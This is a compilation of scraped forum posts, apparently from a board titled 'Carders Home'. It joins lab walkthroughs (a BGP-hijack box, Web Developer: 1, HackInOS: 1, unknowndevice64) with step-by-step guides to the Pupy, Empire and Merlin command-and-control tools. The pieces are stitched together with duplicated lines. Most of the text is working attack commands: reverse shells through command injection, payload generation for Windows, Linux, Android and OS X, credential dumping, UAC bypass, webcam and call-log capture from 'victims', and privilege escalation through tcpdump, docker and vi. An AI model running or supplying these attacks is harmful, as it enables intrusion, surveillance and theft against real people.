When we send the new request we find that the web application is displaying all the process that contains the string “root”.
[Image: 7.png?w=687&ssl=1]

Now we check if the web application is vulnerable to command injection or not. We try to run id command on the server.
[Image: 8.png?w=687&ssl=1]

By changing the parameter to “hack;id” and then encoding it with base64 encode and URL encode we forward the request to the server.
[Image: 9.png?w=687&ssl=1]

When we check the web application, we find that we are successfully able to run the “id” command that means the web application is vulnerable to command injection.
[Image: 10.png?w=687&ssl=1]

Now we replace the id command with nc reverse shell one-liner.
[Image: 11.png?w=687&ssl=1]

We encode the string with base64 encode and URL encode. We setup our listener and then forward the request.
[Image: 12.png?w=687&ssl=1]

As soon as we forward the request we get a reverse shell, we spawn a TTY shell and check for files in the current directory. Inside we find a file called “user.txt”, we open the file and find the first flag.
python -c "import pty; pty.spawn('/bin/bash')"
1
python -c "import pty; pty.spawn('/bin/bash')"
[Image: 13.png?w=687&ssl=1]

After getting a root shell we enumerated the machine, we do not find anything interesting. Going back to the tickets section on the web page, we find a hint that we need to check another subnet.
[Image: 14.png?w=687&ssl=1]

We use the ping command to find all the available machines on the subnet “10.120.15.0/24”.
for i in {1..255}; do ping -c 1 10.120.15.$i | grep "bytes from" | cut -d " " -f4 | cut -d ":" -f1 ; done
1
for i in {1..255}; do ping -c 1 10.120.15.$i | grep "bytes from" | cut -d " " -f4 | cut -d ":" -f1 ; done
[Image: 15.png?w=687&ssl=1]

Now we according to the ticket we know there is ftp server running on subnet “10.120.15.0/24”. So we scan both the IP addresses and find port 21 is open on 10.120.15.10. Further enumerating the system in cronjob we find that there is a bash script inside /opt/ directory called “restore.sh”. We take a look at the content of the file and find that the machine is working with Border Gateway Protocol (BGP) with Quagga. Now we can use a technique called BGP hijacking to take over the IP address. The bash script restores the BGP configuration every 10 minutes, so we remove executable permissions from the script so that we can make changes to the configuration of BGP
crontab -l
chmod -x /opt/restore.sh
1
2
crontab -l
chmod -x /opt/restore.sh
[Image: 16.png?w=687&ssl=1]

Now we connect to the vty shell and check the current configuration.
vtysh
show running-config
1
2
vtysh
show running-config
[Image: 18.png?w=687&ssl=1]

Now switch to configure mode, and to intercept the traffic we want 10.120.15.0/25 to use our machine as the gateway.
configure terminal
ip prefix-list 0xdf permit 10.120.15.0/25
route-map to-as200 permit 10
match ip address prefix-list 0xdf
set community no-export
route-map to-as200 permit 20
route-map to-as300 deny 10
match ip address prefix-list 0xdf
route-map to-as300 permit 20
router bgp 100
network 10.120.15.0 mask 255.255.255.128
end
clear ip bgp *
1
2
3
4
5
6
7
8
9
10
11
12
13
configure terminal
ip prefix-list 0xdf permit 10.120.15.0/25
route-map to-as200 permit 10
match ip address prefix-list 0xdf
set community no-export
route-map to-as200 permit 20
route-map to-as300 deny 10
match ip address prefix-list 0xdf
route-map to-as300 permit 20
router bgp 100
network 10.120.15.0 mask 255.255.255.128
end
clear ip bgp *
[Image: 19.png?w=687&ssl=1]

If we check our BGP routes we find that our machines will be used as a gateway.
show ip bgp neighbors 10.78.10.2 advertised-routes
1
show ip bgp neighbors 10.78.10.2 advertised-routes
[Image: 20.png?w=687&ssl=1]

Now we will start collecting packets on port 21 using tcpdump, we will be using the interface eth2.
tcpdump -i eth2 -nnXSs 0 'port 21' -w hack.pcap
1
tcpdump -i eth2 -nnXSs 0 'port 21' -w hack.pcap
[Image: 21.png?w=687&ssl=1]

We wait for some time then interrupt the capture and check if the pcap file has been created. Now we transfer the file to our system and analyze it with Wireshark and find the password for FTP.
Password: BGPtelc0routing
[Image: 22.png?w=687&ssl=1]

We use this password to login through SSH on the target system and are successfully able to login. After logging in, we find a file called root.txt, we take a look at the content of the file and find the final flag.
ssh [email protected]
1
ssh [email protected]
[Image: 23.png?w=687&ssl=1]

In this article, we will learn to exploit Windows, Linux and Android with pupy command and control tool.
Table of Content :

Introduction
Installation
Windows Exploitation
Windows Post Exploitation
Linux Exploitation
Linux Post Exploitation
Android Exploitation
Android Post Exploitation

Introduction
Pupy is a cross-platform, post-exploitation tool as well as a multi-function RAT. It’s written in python which makes it very convenient. It also has low detectability that’s why it’s a great tool for the red team. Pupy can communicate using multiple kinds of transport, migrate into processes using reflective injection, and load remote python code, python packages and python C-extensions from memory.
It uses a reflected DLL to load python interpreter from memory which is great as nothing will be shown in the disk. It doesn’t have any special dependencies. It can also migrate into other processes. The communication protocols of pupy are modular and stackable. It can execute non-interactive commands on multiple hosts at once. All the interactive shells can be accessed remotely.
Installation
To install pupy execute the following commands one by one :
git clone

[To see content please register here]

ls
./install.sh
1
2
3
git clone

[To see content please register here]

ls
./install.sh
[Image: 1.png?w=687]

Now download all the requirements using pip like the following command :
cd pupy
pip install -r requirements.txt
1
2
cd pupy
pip install -r requirements.txt
[Image: 2.png?w=687]

Now run pupy using the following command :
./pupysh.py
1
./pupysh.py
This command will open the prompt where you will get your session.
[Image: 3.png?w=687]

Now, to create our payload we will use the pupygen. Use the following help command to see all the attributes which we can use :
./pupygen.py -h
1
./pupygen.py -h
[Image: 4.png?w=687]

Windows Exploitation
Now we will create a windows payload in order to exploit windows with the following command :
./pupygen.py -O windows -A x86 -o /root/Desktop/shell.exe
1
./pupygen.py -O windows -A x86 -o /root/Desktop/shell.exe
Here,
-O: refers to the operating system
-A: refers to the architecture
-o: refers to the output file path
[Image: 5.png?w=687]

When you are successful in executing the shell.exe in the victims’ PC, you will have your session as shown in the image :
[Image: 6.png?w=687]

Windows Post Exploitation
Further, there are a number of post-exploits you can use, they are pretty simple to use. Some of them we have shown in our article. For message dialogue box to pop up on the target machine you can use the following command :
msgbox –-title hack "you have been hacked"
1
msgbox –-title hack "you have been hacked"
[Image: 7.png?w=687]

As per the command, following dialogue box will open on the target machine :
[Image: 8.png?w=687]

You can also access the desktop using the remote desktop module with the following command :
rdesktop -r 0
1
rdesktop -r 0
[Image: 9.png?w=687]

After executing the above command you can remotely access the desktop just as shown in the image below :
[Image: 10.png?w=687]

For bypass UAC, we have the simplest command in pupy i.e. the following :
bypassuac -r
1
bypassuac -r
The above command will recreate a session with admin privileges as shown in the image below :
[Image: 11.png?w=687]

For getting the system’s credentials, you can use the following command :
creddump
1
creddump
And as you can see in the image below, you get the information about all the credentials :
[Image: 12.png?w=687]

Using pupy, we can also migrate our session to a particular process. With migrate command, the attributes of the command are shown in the image below :
[Image: 13.png?w=687]

With ps command, you can find out the process ID number of all the processes running on the target PC, along with letting you know which process is running. Knowing the process ID is important as it will be required in the migrate command and will help us to migrate our session as we desire.
[Image: 14.png?w=687]

Now, as we know the processes that are running, we can use it to migrate our session. For this, type the following command :
migrate -p explorer.exe -k
1
migrate -p explorer.exe -k
[Image: 15.png?w=687]

And then a new session will be created as desired.
Linux Exploitation
To exploit Linux, we will have to generate Linux payload with the following command :
./pupygen.py -O linux -A x64 -o /root/Desktop.shell
1
./pupygen.py -O linux -A x64 -o /root/Desktop.shell
[Image: 16.png?w=687]

Once you execute the malicious file in the target system, you will have your session as shown in the image below :
[Image: 17.png?w=687]

As you have a session now, you can check if the target machine is running on a VM or is it a host machine with the following command :
check_vm
1
check_vm
And as you can see in the image below that the target machine is, in fact, running on VM
[Image: 18.png?w=687]

Linux Post Exploitation
In post-exploitation, you can have detailed information about the target system with the following command :
privesc_checker --linenum
1
privesc_checker --linenum
[Image: 19.png?w=687]

With pupy, you can also find out all the exploits that are working on the target system with the help of the following command :
exploit_suggester –shell /bin/bash
1
exploit_suggester –shell /bin/bash
As you can see that in the image below, it has given us the list of all the exploits to which the target system is vulnerable.
[Image: 20.png?w=687]

To get the basic information about the target system such as IP address, MAC address, etc. you can use the following command :
get_info
1
get_info
[Image: 21.png?w=687]

Android Exploitation
Now we will create an android payload in order to exploit windows with the following command :
./pupygen.py -O android -o /root/shell.apk
1
./pupygen.py -O android -o /root/shell.apk
[Image: 22.png?w=687]

When you are successful in installing the shell.apk in the victims’ Android Phone, you will have your session as shown in the image :
[Image: 23.png?w=687]

Android Post Exploitation
In post-exploitation, you can grab the call logs stored on the target device with the following command :
call -a -output-folder /root/call
1
call -a -output-folder /root/call
Here,
-a: refers to getting all the call details
-output-folder : refers to the path of the output file containing the call logs
[Image: 24.png?w=687]

We will use the cat command on callDetails.txt to read the call logs.
[Image: 25.png?w=687]

To get the camera snap from the primary camera on the target device, you can use the following command :
webcamsnap -v
1
webcamsnap -v
Here,
-v : refers to view the image directly
As we can see in the given image that we have the snap captured and stored at the given location.
[Image: 26.png?w=687]

To get the information about the installed packages or apps on the target device, you can use the following command :
apps -a -d
1
apps -a -d
Here,
-a: refers to getting all the installed packages details
-d: refers to view detailed information
As we can see in the given image that we have detailed information about the packages or apps installed on the target machine.
[Image: 27.png?w=687]

[Guide] Multiple Ways to Exploiting OSX using PowerShell Empire

Posted by: NINZA - 05-14-2020, 11:55 AM - Forum: Carders Home - No Replies

In this article, we will learn multiple ways to how to hack OS X using empire. There are various stagers given in empire for the same and we use a few of them in our article. Method to attack OS X is similar to that of windows. For the beginner’s guide to pen-test OS X click here.

Table of Content :

osx/macho
osx/applescript
osx/launcher
osx/jar
osx/safari_launcher

osx/macho

The first stager we will use to attack is osx/macho. This stager will create a Mach-O file, which is an executable format of binaries in OS X. This file format is made for OS X specifically. This file format informs the system about the order in which code and data are read into memory. So, this stager is quite useful when it comes to attacking OS X.
The listener creation is the same as windows, use the http listener. Once the listener is created, execute the following set of commands:
usestager osx/macho
set Listener http
set OutFile shell.macho
execute
1
2
3
4
usestager osx/macho
set Listener http
set OutFile shell.macho
execute
As the shell.macho is executed in the victim’s PC, you will have your session as shown in the image below :
[Image: 1.png?w=687]

osx/applescript
The next stager we will use is osx/applescript. This stager will create a code in an apple script, this script has an automated control over scriptable Mac applications as its dedicated script for Mac. Therefore, it’s an important stager for pen-testing Mac. To create the malicious said apple script run the following set of commands :
usestager osx/applescript
set Listener http
execute
1
2
3
usestager osx/applescript
set Listener http
execute
[Image: 2.png?w=687]

Executing the above stager will create a code, run this code in the targeted system as it is shown in the following image :
[Image: 3.1.png?w=687]

As soon as the code is executed in the victim’s PC, you will have your session as shown in the image :
[Image: 3.png?w=687]

osx/launcher
The next stager we will use is osx/launcher. This stager is most commonly used. To execute this stager, run the following commands :
usestager osx/launcher
execute
1
2
usestager osx/launcher
execute
copy this code and run it in the target system’s shell. Now as soon as the code is executed, you will have your session as shown in the image below :
[Image: 4.png?w=687]

osx/jar
The nest stager which we will use is osx/jar. This stager creates a jar file which is a Java archive file. This file format is used for compressed java files which when extracted as run as desired. This file extension is specifically made for Java files. This stager turns out to be a suitable one when it comes to attacking OS X. Use the following set of commands to execute the said stager :
usestager osx/jar
set Listener http
set OutFile out.jar
execute
1
2
3
4
usestager osx/jar
set Listener http
set OutFile out.jar
execute
The stager will create a jar file as told above, as the said file will be executed in the victim’s system, you will have your session as shown in the image :
[Image: 5.png?w=687]

osx/safari_launcher
The last stager we will use is osx/safari_launcher, this will generate an HTML script for safari. For this stager, run the following set of commands:
usestager osx/safari_launcher
set Listener http
execute
1
2
3
usestager osx/safari_launcher
set Listener http
execute
Run the generated code in the safari of victim’s PC and so you shall have your session as shown in the image below :
[Image: 6.png?w=687]

So, these were five ways to attack or pentest OS X. They are pretty easy and convenient. Each of them is valid and up to date.

Hello friends! Today we are going to take another boot2root challenge known as “Web Developer: 1”. The credit for making this VM machine goes to “Fred Wemeijer” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download this VM

[To see content please register here]

.
Security Level: Intermediate
Penetrating Methodology:

IP Discovery using netdiscover
Network scanning (Nmap)
Surfing HTTP service port
Enumerating directories using Dirb
Finding “cap” file
Analyzing the “cap” file and finding WordPress password
Installing the vulnerable plugin in WordPress
Exploiting the vulnerable to get a reverse shell
Finding SSH login and password
Finding application is a sudoers list
Getting flag

Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

We found our target –> 192.168.19.131
Our next step is to scan our target with nmap.
nmap -p- -sV 192.168.19.131
1
nmap -p- -sV 192.168.19.131
[Image: 2.png?w=687&ssl=1]

From the NMAP Version Scan we enumerated the following details:
22 Port having the SSH service and 80 Port having HTTP service.
As the HTTP service is running on the target server, let’s open the IP Address on the Web Browser.
[Image: 3.png?w=687&ssl=1]

As we couldn’t find any links on this page. So, we will do a directory bruteforcing using dirb scan. From the scanning result, we choose the highlighted directory for further enumeration.
[Image: 4.png?w=687&ssl=1]

So, we opened this directory in the browser and found a cap file.
[Image: 5.png?w=687&ssl=1]

We will open cap file in Wireshark, and you can see that we found the username and password through it.
[Image: 7.png?w=687&ssl=1]

And using the above username and password, you can directly log on to the website. As you can see that the website is in WordPress. And I remember that there is a plug-in of WordPress that is vulnerable. So, in the plugin I added a new plugin i.e. ReFlex Gallery as you can in the image below:
[Image: 8.png?w=687&ssl=1]

Now, we will use the in-build exploit from Metasploit to exploit this plugin and get a session. And for this, we use the following set of commands:
use exploit/unix/wepapp/wp_reflexgallery_file_upload
set rhosts 192.168.19.131
exploit
1
2
3
use exploit/unix/wepapp/wp_reflexgallery_file_upload
set rhosts 192.168.19.131
exploit
[Image: 9.png?w=687&ssl=1]

Once we got the session, I navigated through it a lot and found the wp-config.php, now, when reading the config file, we find username and password.
[Image: 11.png?w=687&ssl=1]

Now we find credentials inside the file, we use this credential to log in through SSH. After logging in we check the sudoers list and find we can run “tcpdump” as the root user.
ssh [email protected]
sudo -l
1
2
ssh [email protected]
sudo -l
[Image: 12.png?w=687&ssl=1]

So, we can execute a file using tcpdump, so we use the following command to execute “ls -al /root” command. Now the command will be executed only when tcpdump captures a packet.
COMMAND='ls -al /root'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
1
2
3
4
5
COMMAND='ls -al /root'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
[Image: 13.1.png?w=687&ssl=1]

After starting tcpdump, in a new terminal, we connect to the target machine through SSH. Now we send a TCP packet to the 127.0.0.1 using netcat. We had to use this locally as we started tcpdump on the loopback interface.
nc -v -z -n -w 1 127.0.0.1 1
1
nc -v -z -n -w 1 127.0.0.1 1

As soon as we send the packet, our command is executed and we can see all the files inside “/root” directory. Inside “/root” directory, we find a file called “flag.txt”. We are again going to use tcpdump command to open “flag.txt” and are able to get the final flag.
COMMAND='cat /root/flag.txt'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
1
2
3
4
5
COMMAND='cat /root/flag.txt'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
[Image: 14.png?w=687&ssl=1]

Hello friends! Today we are going to take another boot2root challenge known as “HackInOS: 1”. The credit for making this VM machine goes to “Fatih Çelik” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download this VM

[To see content please register here]

.
Security Level: Intermediate
Penetrating Methodology:

IP Discovery using netdiscover
Network scanning (Nmap)
Surfing HTTP service port
Finding upload directory
Finding source code for a web application
Getting reverse shell
Pivoting using Metasploit
Logging in through MySQL and find an SSH credentials
Logging in through SSH
Getting the root shell and finding the flag

Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

We found our target –> 192.168.1.101
Our next step is to scan our target with nmap.
nmap -p- -sV 192.168.1.101
1
nmap -p- -sV 192.168.1.101
[Image: 2.png?w=687&ssl=1]

The NMAP output shows us that there are 2 ports open: 22(SSH), 8000(HTTP)
We find that port 8000 is running HTTP, so we open the IP in our browser and find there is WordPress CMS running on the web server.
[Image: 3.png?w=687&ssl=1]

We don’t find any vulnerable plugin or theme on the CMS, so we run a dirb scan to enumerate the directories on the target machine.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Dirb scan gave us “robots.txt”, we open it and find a link to “upload.php” and “/uploads”.
[Image: 5.png?w=687&ssl=1]

We open upload.php and find a page where we can upload images. Here we try to upload an image and get a smiling face, it looks like it means there is an error uploading the file.
[Image: 6.png?w=687&ssl=1]

We open the source code of the web page and inside a comment we find a GitHub link.
[Image: 7.png?w=687&ssl=1]

We open the GitHub link and find there is a source code for the upload.php file.
[Image: 8.png?w=687&ssl=1]

Now to upload the image we just need to add “GIF98” to the start of the php reverse shellcode we want to upload.
[Image: 9.png?w=687&ssl=1]

Now when we upload our php reverse shell, we are successfully able to upload the shell. But we do not know the filename after it is uploaded on the server.
[Image: 10.png?w=687&ssl=1]

Taking a look at the source code of “upload.php” we find that after the shell is uploaded the file gets renamed to “md5(<filename><random number )between 1 – 100>.<file extension>”. So, we create a python script that creates a text file filled with all the 100 md5 filename. You can download the script from

[To see content please register here]

Now we run the python script and use dirb to bruteforce the new file name.
dirb

[To see content please register here]

dict.txt
1
dirb

[To see content please register here]

dict.txt

We set up the listener, and again run the dirb command again and get a reverse shell.
nc -lvp 1234
dirb

[To see content please register here]

dict.txt
1
2
nc -lvp 1234
dirb

[To see content please register here]

dict.txt
After getting a reverse shell, we spawn a TTY shell and we find that we are inside a Docker container. We find all files with SUID bit set and find that “tail” command has SUID bit set. So, we use the “tail” command to open “/etc/shadow”.
python -c "import pty;pty.spawn('/bin/bash')"
find / -perm -4000 2>/dev/null
tail -c1G /etc/shadow
1
2
3
python -c "import pty;pty.spawn('/bin/bash')"
find / -perm -4000 2>/dev/null
tail -c1G /etc/shadow
[Image: 13.png?w=687&ssl=1]

We get the password for “root” user from /etc/shadow file and we copy and save it in our system. We crack the hash using john the ripper and find the password to be “john”.
john hash
1
john hash
[Image: 14.png?w=687&ssl=1]

After finding the password, we switch to the root user. After becoming a root user, we switch to “/root” directory and find a file called “flag”. We open the “flag” file and find nothing useful.
[Image: 15.png?w=687&ssl=1]

Further enumerating the system, inside /var/www/html/wp-config.php. We open the username and password for database login. There is no MySQL service running on the machine and we are also not able to login through SSH using these credentials.
[Image: 14.1.png?w=687&ssl=1]

Getting back inside /root directory, we find a file called “.port”. We open the file and find a hint to look for other containers.
[Image: 16.png?w=687&ssl=1]

To further interact with the shell, we get a meterpreter reverse shell. We use the web_delivery module in Metasploit-framework to get a reverse shell.
msf5 > use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > setg lhost eth0
msf5 exploit(multi/script/web_delivery) > setg lport 8888
msf5 exploit(multi/script/web_delivery) > run
1
2
3
4
msf5 > use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > setg lhost eth0
msf5 exploit(multi/script/web_delivery) > setg lport 8888
msf5 exploit(multi/script/web_delivery) > run
[Image: 17.png?w=687&ssl=1]

We copy the command provided by web_delivery module and run it on the target machine.
[Image: 18.png?w=687&ssl=1]

As soon as we run the command on the target machine, we get a reverse shell. After getting a reverse shell, we use autoroute module in Metasploit-framework for pivoting.
msf5 > use post/multi/manage/autoroute
msf5 post(multi/manage/autoroute) > set session 1
msf5 post(multi/manage/autoroute) > exploit
1
2
3
msf5 > use post/multi/manage/autoroute
msf5 post(multi/manage/autoroute) > set session 1
msf5 post(multi/manage/autoroute) > exploit
Then we use the ping_sweep module to find all the machines on the new network.
msf5 > use post/multi/gather/ping_sweep
msf5 post(multi/gather/ping_sweep) > set rhosts 172.18.0.0-255
msf5 post(multi/gather/ping_sweep) > set session 1
msf5 post(multi/gather/ping_sweep) > exploit
1
2
3
4
msf5 > use post/multi/gather/ping_sweep
msf5 post(multi/gather/ping_sweep) > set rhosts 172.18.0.0-255
msf5 post(multi/gather/ping_sweep) > set session 1
msf5 post(multi/gather/ping_sweep) > exploit
Then we run a portscan module to find all the ports on all the machines.
msf5 > use auxiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > set rhosts 172.18.0.0-4
msf5 auxiliary(scanner/portscan/tcp) > set threads 10
msf5 auxiliary(scanner/portscan/tcp) > exploit
1
2
3
4
msf5 > use auxiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > set rhosts 172.18.0.0-4
msf5 auxiliary(scanner/portscan/tcp) > set threads 10
msf5 auxiliary(scanner/portscan/tcp) > exploit
We find the following ports open on the following machines:
172.18.0.1
22,8000
172.18.0.2
80
172.18.0.3
3306
172.18.0.4
2021
[Image: 19.png?w=687&ssl=1]

As we know port 3306 is for MySQL service and we also have username and password for WordPress database. So, we can login through MySQL on target “172.18.0.3” and use credentials “wordpress:wordpress”.
meterpreter > shell
python -c "import pty;pty.spawn('/bin/bash')"
mysql -u wordpress -p wordpress -h 172.18.0.3
1
2
3
meterpreter > shell
python -c "import pty;pty.spawn('/bin/bash')"
mysql -u wordpress -p wordpress -h 172.18.0.3
After logging in we check all the databases on the MySQL server.
show databases;
1
show databases;
[Image: 20.png?w=687&ssl=1]

We now check all the tables available on the database and find a table called “host_ssh_cred”. We check the columns inside the table and find the username and hash of a password.
show tables;
select * from host_ssh_cred;
1
2
show tables;
select * from host_ssh_cred;
[Image: 21.png?w=687&ssl=1]

We save the hash in our system and use john the ripper to crack the hash
john --format=RAW-md5 sshpass
1
john --format=RAW-md5 sshpass
[Image: 22.png?w=687&ssl=1]

Now we have the credentials for SSH; hummingbird:123456. We login through SSH and now when we run the id command, we find that we are a member of the docker group. Some containers have a dedicated group to allow unprivileged users to manage their containers without having to escalate their privileges. To exploit this vulnerability, we first need to check the docker images that are available.
ssh [email protected]
id
docker images
1
2
3
ssh [email protected]
id
docker images
[Image: 23.png?w=687&ssl=1]

We find that the Ubuntu image is available to us, so we use this to create a new docker container and mount the / directory of the host inside a folder called /root. After we run the docker image we go to /root/root and find a file called “flag”. When we open the file, we find our congratulatory flag.
docker run -v /:/root -i -t ubuntu /bin/bash
cd /root
cd root
cat flag
1
2
3
4
docker run -v /:/root -i -t ubuntu /bin/bash
cd /root
cd root
cat flag
[Image: 24.png?w=687&ssl=1]

In this article, we learn how to use Merlin C2 tool. It is developed by Russel Van Tuyl in Go language.
Table of content:

Introduction
Installation
Windows exploitation
Windows post exploitation
Linux exploitation
Linux post exploitation

Introduction
Merlin is a great cross-platform Command and control tool written in the Go language. It’s made of two elements i.e. the server and agent. It works on the HTTP/2 protocol. The best things about Merlin are that it is compiled to work on any platform and that you can even build it from source. Normally, agents are put on windows and are being listened on Linux but due to being written in Go language, Merlin lets us put agents on any platform/machine we come across and we can listen to it also on any platform. This is much more successful than others when it comes to red teaming as it makes IDS/IPS struggle to identify it.
The Merlin server is to be run in the folder where agents can call out to it. By default, the server is configured on 127.0.0.1:443 but you can change it to your own IP. The merlin agent can be, as discussed earlier, cross-complicated to run on any platform. Agents are interacted using the Merlin server. Any binary file is executed with the target’s path variable.
Installation
Merlin’s installation is pretty tricky. The most convenient way to download is shown in this article. Installing Go language is compulsory in order for Merlin to work. So, to install the Go language type:
apt install golang
1
apt install golang
And then to install merlin the following commands:
mkdir /opt/merlin;cd /opt/merlin
wget //github.com/Ne0nd0g/merlin/releases/download/v0.1.4/merlinServer-Linux-x64-v0.1.4.7z
1
2
mkdir /opt/merlin;cd /opt/merlin
wget //github.com/Ne0nd0g/merlin/releases/download/v0.1.4/merlinServer-Linux-x64-v0.1.4.7z
[Image: 1.png?w=687]

Once the above commands are executed successfully, use the following command to unzip merlin server.
7z x merlinServer-Linux-x64-v0.1.4.7z
1
7z x merlinServer-Linux-x64-v0.1.4.7z
[Image: 2.png?w=687]

Now, after unzipping, when you use ls command; you will find the merlin server and readme file. We can check if the server is running by using the following command:
./merlinServer-Linux-x64
1
./merlinServer-Linux-x64
[Image: 3.png?w=687]

In “README.MD”, we find the instructions for installing “Merlin” in our system.
[Image: 4.png?w=687]

Now according to the readme file, we have to setup GOPATH environment variable for the installation and then install merlin using “go” instead of git clone. So, to complete these steps run the following set of commands:
echo "export GOPATH=$HOME/go" >> .bashrc
source .bashrc
go get github.com/Ne0nD0g/merlin
1
2
3
echo "export GOPATH=$HOME/go" >> .bashrc
source .bashrc
go get github.com/Ne0nD0g/merlin
Once the directory is downloaded, let’s check its contents using cd and ls commands.
[Image: 5.png?w=687]

There was a cmd directory, and in it, there was a directory named merlinserver where we found main.go. Run main.go as shown in the image below :
go run main.go
1
go run main.go
[Image: 6.png?w=687]

As you can see the tool merlin is still not running properly as there is no SSL certificate given to it. If you navigate through the /opt/merlin directory, you will find a directory named data in which there is an SSL certificate. Copy the data folder into the merlinserver directory as shown in the image below:
[Image: 7.png?w=687]

Now if you run merlin using the command: go run main.go, merlin server will run successfully.
[Image: 8.png?w=687]

Now using the following help command you can see, as shown in the image, the arguments that you can use to run your commands as desired:
go run main.go -h
1
go run main.go -h
[Image: 9.png?w=687]

Windows exploitation
Now, to make Merlin agent for windows type the following command:
GOOS=windows GOARCH=amd64 go build -ldlags "-X main.url=//192.168.0.11:443" -o shell.exe main.go
1
GOOS=windows GOARCH=amd64 go build -ldlags "-X main.url=//192.168.0.11:443" -o shell.exe main.go
Now, share the shell with the target using the python server:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
[Image: 10.png?w=687]

In order to create a listener for the shell to revert, use the following command:
go run main.go -i 192.168.0.11
1
go run main.go -i 192.168.0.11
[Image: 12.png?w=687]

And just like that, you will have your session as shown in the image above. Now, use the help command to see all the options as shown in the image given below:
[Image: 13.png?w=687]

Type sessions to see the list of the sessions you acquire as shown in the image below:
[Image: 14.png?w=687]

To access than an available session uses the following command:
interact <session name>
1
interact <session name>
[Image: 15.png?w=687]

As you have accessed the session, here you can use windows commands such as:
shell ipconfig
1
shell ipconfig
[Image: 16.png?w=687]

Then further you can use various post exploitation modules, list of which are shown in the image below:
[Image: 17.png?w=687]

Windows post exploitation
We will be using a module here to dump the credentials of windows and to activate the said post exploitation module type:
use module windows/x64/powershell/credentials/dumpCredStore
1
use module windows/x64/powershell/credentials/dumpCredStore
[Image: 18.png?w=687]

As you can see in the image above that info commands gives us all the details about the module including the options that we need to specify in the module. So, therefore, let’s set the options:
set agent <agent name>
run
1
2
set agent <agent name>
run
[Image: 19.png?w=687]

Linux exploitation
Now, we will make a merlin agent for Linux machine. For this, simply type the following command:
Export GOOS=linux;export GOARCH=amd64; go build -ldflags "-s -w -X main.url=//192.168.0.11:443" -o shell.elf main.go
1
Export GOOS=linux;export GOARCH=amd64; go build -ldflags "-s -w -X main.url=//192.168.0.11:443" -o shell.elf main.go
Once the command is executed, your malware will be created. Use the python to share the file with the victim as shown in the image below or however see it fit. For starting python HTTP server:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
[Image: 20.png?w=687]

Setup the listener and wait for the file to get executed.
go run main.go -I 192.168.0.11
1
go run main.go -I 192.168.0.11
[Image: 22.png?w=687]

And as shown in the image above, you will have your session. Then type sessions to see the list of sessions gained.
[Image: 23.png?w=687]

Then to access the session use the following command:
interact <session name>
1
interact <session name>
[Image: 24.png?w=687]

Then further you can use any Linux command such as:
shell ls
1
shell ls
[Image: 25.png?w=687]

Linux post exploitation
Even in Linux, you can further use a number of post-exploitation modules. The one we will be using in this article is privesc/LinEnum:
use module linux/x64/bash/priesc/LinEnum
1
use module linux/x64/bash/priesc/LinEnum
[Image: 26.png?w=687]

Through info command, we know that we have to give a session in order to run this module. So, type:

set agent <session name>
run
1
2
set agent <session name>
run
[Image: 27.png?w=687]

And this way your module will run. Try and work with Merlin c2 tool as its one of best and as you can see how convenient it is crossed-platformed.

[Guide] How to unknowndevice64: 1: Vulnhub Lab Walkthrough

Posted by: NINZA - 05-14-2020, 11:53 AM - Forum: Carders Home - No Replies

Hello friends! Today we are going to take another boot2root challenge known as “unknowndevice64: 1”. The credit for making this VM machine goes to “Ajay Verma” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download this VM

[To see content please register here]

.
Security Level: Beginner

Penetrating Methodology:

IP Discovery using netdiscover
Network scanning (Nmap)
Surfing HTTP service port
Finding image File
Extracting the hidden file from the image
Logging in through SSH
Escaping restricted shell
Finding binary in sudoers list
Getting the root shell and finding the flag

Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
[Image: 1.png?w=687]

We found our target –> 192.168.1.104
Our next step is to scan our target with nmap.
nmap -p- -sV 192.168.1.104
1
nmap -p- -sV 192.168.1.104
[Image: 2.png?w=687]

The NMAP output shows us that there are 2 ports open: 1337(SSH), 31337(HTTP)
We find that port 31337 is running HTTP, so we open the IP in our browser. Here we find a string “h1dd3n” that might be a hint or a password for something.
[Image: 3.png?w=687]

We take a look at the source code of the web page and inside a comment, we find a string called “key_is_h1dd3n.jpg”.
[Image: 4.png?w=687]

We open the image in our browser and download it in our system.
[Image: 5.png?w=687]

After downloading the image, we use steghide to extract any hidden file from the image. When we try to extract files using steghide, it prompts for a password. We use the password “h1dd3n” we found earlier on the webpage and were successfully able to extract a text file. We take a look at the content of the text file and find a brain fuck encoded string.
steghide extract -sf key_is_h1dd3n.jpg
1
steghide extract -sf key_is_h1dd3n.jpg
[Image: 6.png?w=687]

We decode the brainfuck encoded string using this

[To see content please register here]

and find a username and password.
Username: ud64
Password: 1M!#64@ud
1
2
Username: ud64
Password: 1M!#64@ud
[Image: 7.png?w=687]

As port 1337 is running SSH, we use the credentials we found above to log in. After logging in through SSH we find that we have a restricted shell, and PATH and SHELL environment variable are read-only.
ssh [email protected] -p 1337
1
ssh [email protected] -p 1337
[Image: 8.png?w=687]

After pressing the “tab” button twice, we find the commands we can run using the restricted shell. Among that command, we find that we can use the Vi editor. We use Vi editor to escape the restricted shell.
:!/bin/bash
1
:!/bin/bash
[Image: 10.png?w=687]

After escaping the restricted shell, we export “/bin/bash” as our SHELL environment variable and “/usr/bin” as our PATH environment variable so that we can run Linux commands properly. Now we check sudoers list and find we can run “/usr/bin/sysud64” as root without a password.
